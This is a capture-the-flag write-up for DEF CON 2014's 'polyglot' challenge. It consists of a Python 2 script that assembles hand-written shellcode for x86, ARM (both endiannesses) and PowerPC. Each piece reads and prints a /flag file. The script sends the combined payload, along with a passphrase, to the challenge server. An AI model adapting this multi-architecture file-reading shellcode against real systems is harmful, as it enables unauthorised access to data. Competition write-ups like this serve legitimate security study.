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DEFCON 2014 Writeup polyglot
import time
import socket
x86 = '\xbc\x00\x08\x00\x42\xbd\x00\x0e\x00\x42\xeb\x27\x6a\x05\x58\x5b\x31\xc9\xcd\x80\x89\xc3\xb0\x03\x89\xef\x89\xf9\x31\xd2\xb6\xff\xb2\xff\xcd\x80\x89\xc2\x6a\x04\x58\xb3\x01\xcd\x80\x6a\x01\x58\x43\xcd\x80\xe8\xd4\xff\xff\xff\x2f\x66\x6c\x61\x67\x00'
armel = ',\xd0\x9f\xe5\x01`\x8f\xe2\x16\xff/\xe1xF\x1c0\x00!\x05\'\x00\xdf\x03\'iF\xff"\x00\xdf\x02\x1c\x04\'\x01 \x00\xdf\x02 \x01\'\x00\xdf/flag\x00\x00\x00\x00\x08\x00B'
armeb = '\xe5\x9f\xd0,\xe2\x8f`\x01\xe1/\xff\x16Fx0\x1c!\x00\'\x05\xdf\x00\'\x03Fi"\xff\xdf\x00\x1c\x02\'\x04 \x01\xdf\x00\x1a\x00\'\x01\xdf\x00/flag\x00\x00\x00B\x00\x08\x00'
ppc = '8 B\x00:\x00\x00\x10|!\x8008!\x08\x00H\x00\x00\x05|h\x02\xa68c\x00D8\x80\x00\x008\x00\x00\x05D\x00\x00\x028\x00\x00\x038\x81\x00\x008\xa0\x00\xffD\x00\x00\x028\xa3\x00\x008\x00\x00\x048\x81\x00\x008`\x00\x01D\x00\x00\x028c\xff\xfd8\x00\x00\x01D\x00\x00\x02/flag\x00\x00\x00'
poly = ''
poly += '\x40\x3f\x04\x40'
poly += '\x71\x00\x00\xea'
poly += '\x7a\x00\x01\xea'
poly += x86
poly += '\x00' * (0x1d0 - len(poly))
poly += armel
poly += '\x00' * (0x440 - len(poly))
poly += ppc
poly += '\x00' * (0x7b8 - len(poly))
poly += armeb
open('shellcode', 'wb').write(poly)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('polyglot_9d64fa98df6ee55e1a5baf0a170d3367.2014.shallweplayaga.me', 30000))
print sock.recv(1024)
sock.sendall('w0rk_tHaT_tAlEnTeD_t0nGu3\n')
print sock.recv(1024)
print sock.recv(1024)
sock.sendall(poly)
while True:
time.sleep(1)
print sock.recv(1024)
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